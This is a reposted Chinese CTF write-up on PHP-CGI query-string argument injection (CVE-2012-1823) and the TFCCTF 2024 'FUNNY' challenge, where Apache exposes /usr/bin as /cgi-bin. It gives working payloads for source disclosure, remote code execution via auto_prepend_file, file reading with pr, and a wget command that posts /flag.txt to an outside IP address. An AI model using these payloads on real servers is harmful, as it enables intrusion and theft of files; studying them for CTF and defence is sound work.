0


【Web】从TFCCTF-FUNNY浅析PHPCGI命令行注入漏洞利用

背景 CVE-2012-1823

PHP-CGI远程代码执行漏洞(CVE-2012-1823)分析 | 离别歌

省流:

命令行参数不光可以通过#!/usr/local/bin/php-cgi -d include_path=/path的方式传入php-cgi,更可以通过querystring的方式传入

简单复现:

vulhub的环境

/index.php?-s

查看源码

文件包含RCE

/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

发散利用

以TFCCTF 2024的FUNNY这题为例

附件中有这样一段配置

  1. ScriptAlias /cgi-bin /usr/bin:- ScriptAlias指令将URL路径 /cgi-bin 映射到服务器上的实际文件路径 /usr/bin。- 当访问 http://yourdomain/cgi-bin 时,服务器实际上会访问 /usr/bin 目录中的文件。
  2. Action php-script /cgi-bin/php-cgi:- Action指令将某个处理程序与特定类型的文件关联起来。在这里,将自定义的 php-script 处理程序与路径 /cgi-bin/php-cgi 关联。- 也就是说,当一个文件被指定为 php-script 类型时,服务器会将其传递给 /cgi-bin/php-cgi 进行处理。
  3. AddHandler php-script .php:- AddHandler指令将文件扩展名 .php 与前面定义的 php-script 处理程序关联。- 这意味着服务器会将所有扩展名为 .php 的文件当作 php-script 类型文件,并用 /cgi-bin/php-cgi 处理它们。
  4. <Directory /usr/bin>:- 该指令块定义了对于 /usr/bin 目录的访问控制规则。- Order allow,deny:这行定义了访问控制的顺序,首先 allow(允许)访问,然后 deny(拒绝)。这意味着所有未明确允许的请求将被拒绝。- Allow from all:这行允许所有来源的访问。

总的来说,这段配置定义了一个CGI环境,其中所有的

.php

文件会通过位于

/usr/bin

目录中的

php-cgi

脚本进行处理,并允许所有用户访问

/usr/bin

目录。

扫目录

直接将/cgi-bin暴露在web目录中,由于配置文件将/cgi-bin映射到靶机的/usr/bin,这意味着我们可以访问/usr/bin下的所有命令

法一:读文件

类比背景部分的传参:/index.php?-d allow_url_include=on -d auto_prepend_file=php://input

会被执行为

#!/usr/local/bin/php-cgi -d allow_url_include=on -d auto_prepend_file=php://input

这题如果我们访问/cgi-bin/cat?/flag.txt,靶机执行的就是

#!/usr/bin/cat /flag.txt

但操作后回显404,这意味着靶机/usr/bin下没有cat命令

尝试用nl读文件结果报500,这说明成功执行了/usr/bin/nl命令,但未成功回显

/cgi-bin/nl?/flag.txt

似乎不能读文件了

但其实可以

pr 命令是一个 Unix 和 Linux 系统中的命令,用于将文本文件格式化为页码化的输出,通常用于打印。pr 命令可以对文本进行分页、添加页眉、页脚、调整列数等,以便于打印或查看。

payload:

/cgi-bin/pr?/flag.txt

解释一下为什么用pr,是因为只有pr的输出第一行有换行,才能输出,其他的能执行但不能输出

响应包的格式,不换行不能显示在body,而是在header,但数据又不符合http头的格式,会报500

法二:数据外带

curl回显404

用wget外带数据

哈?命令注入外带数据的姿势还可以这么骚?-腾讯云开发者社区-腾讯云

目标执行#!/usr/bin/wget http://124.222.136.33:1337 ­d --post-file=/flag.txt

payload:

/cgi-bin/wget?http://124.222.136.33:1337+--post-file%3d/flag.txt

成功接收到文件

标签: phpcgi TFCCTF FUNNY

本文转载自: https://blog.csdn.net/uuzeray/article/details/140970746
版权归原作者 Z3r4y 所有, 如有侵权,请联系我们删除。

“【Web】从TFCCTF-FUNNY浅析PHPCGI命令行注入漏洞利用”的评论:

还没有评论